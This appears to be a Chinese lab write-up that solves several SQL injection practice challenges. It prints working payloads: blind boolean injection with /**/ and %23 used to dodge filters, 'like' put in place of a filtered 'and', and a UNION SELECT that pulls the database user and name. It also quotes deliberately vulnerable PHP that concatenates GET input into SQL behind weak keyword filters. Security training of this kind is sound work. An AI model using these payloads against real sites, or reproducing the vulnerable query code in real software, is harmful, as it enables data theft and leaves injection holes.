听说我们自己的网安基地发了一个sql注入的靶场??? 来看看
先是最简单的判断注入类型 ,成功发现是字符型,上BP!!!!
但是发现--+ # 这样的注释没有用 (甚至它还贴心的提醒我不给sql注入)
那就想是不是要最后构造一个等式使得最后能出现 and 1='1这样的结构
但是发现它连空格的过滤 于是就尝试将空格替换成 /**/ 于是发现是可以的 那就再将 #换成 %23?
发现成功,于是就开始上poc,先猜测长度,再猜测数据库名字
1'/**/and/**/length(database())=*%23
1'/**/and/**/substr(database(),*,1)='*'%23
一顿操作猛如虎,一看字符型和注释符号不过滤,但是and是过滤的,于是就尝试将and换成like
1'+like+if(substr(database(),1,1)='d',1,0)=1--+
简单的字符型和注释不过滤就不说了,说一下这一道题坑的点
其实练得多的话一下就知道是and被过滤了,但是当时不知道是脑子抽了还是啥,以为and没被过滤,于是就开始了小丑一样的绕waf 各种 loacate 双写 lpad extractvalue 最后甚至都在想它是不是没有漏洞
所以我气死了,就去看他的源码了 看了之后感觉更小丑艹艹caocoacaocaocoaocoacoaoaco
$id=preg_replace('/and/i','', $_GET["id"]) or $id=preg_replace('/or/i','', $_GET["id"]);
$sql="SELECT * FROM users WHERE user_id='$id' LIMIT 0,1"; //将id参数值直接拼接到SQL语句
$result=mysqli_query($db,$sql);//执行SQL语句
$row = @mysqli_fetch_array($result); //取出第一行查询到的值以数组形式返回
吃一堑长一智,原来这样就是将and 或者or过滤的用法
所以就是最简单就是双写的poc 来去bypass了
但是我想说的是 不是双写用不起,而是union更有性价比 你看一下,他的源代码是不是不过滤union这些 是不是就可以联合查询 但是联合查询还有一个弊端 听我细嗦
你看一下,这个users的表单足足有八个字段 所以如果你去猜测的话还是有一点难度的,来看
可以看见4,5 这两个字段是显示位 于是就开始注入 poc:
-1'+union+select 1,2,3,user(),database(),6,7,8--+
成功注出它的数据库和用户
先上去判断什么类型的注入 ,可以字符型,不过滤注释 但是and是肯定过滤的
那就试一下union 等一下,秒了???这就秒了??
感觉不太对劲呢 看一下源代码
if (preg_match('/and/i',$_GET["id"])|preg_match('/or/i',$_GET["id"])) {
die("请勿SQL注入!!!");
}else{
$id = urldecode($_GET['id']);//获取id参数值
$sql="SELECT * FROM users WHERE user_id='$id' LIMIT 0,1"; //将id参数值直接拼接到SQL语句
$result=mysqli_query($db,$sql);//执行SQL语句
$row = @mysqli_fetch_array($result); //取出第一行查询到的值以数组形式返回
多了一个url解码 但是感觉很奇怪url不会对关键字编码的呀?? 有点云里雾里
一顿操作,还是字符型而且还不过滤那尝试最简单的poc
1' and 1=1 --+
发现=被过滤,于是就可以尝试like 去bypass 发现果然可以
来看一下源代码:
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select |insert |update | *and| *or| in | *user()| *database()| on | *left| *subst| joins | delete |\%*|\=|\/\*|\*|\.\.\/|\.\/| *union| *from| where | group | into |load_file
|outfile/is','',$str);
这里就是将一堆sql的关键字进行过滤 然后替换成空 ,于是就可以最简单的进行双写bypass 也可以进行正则匹配 (小case)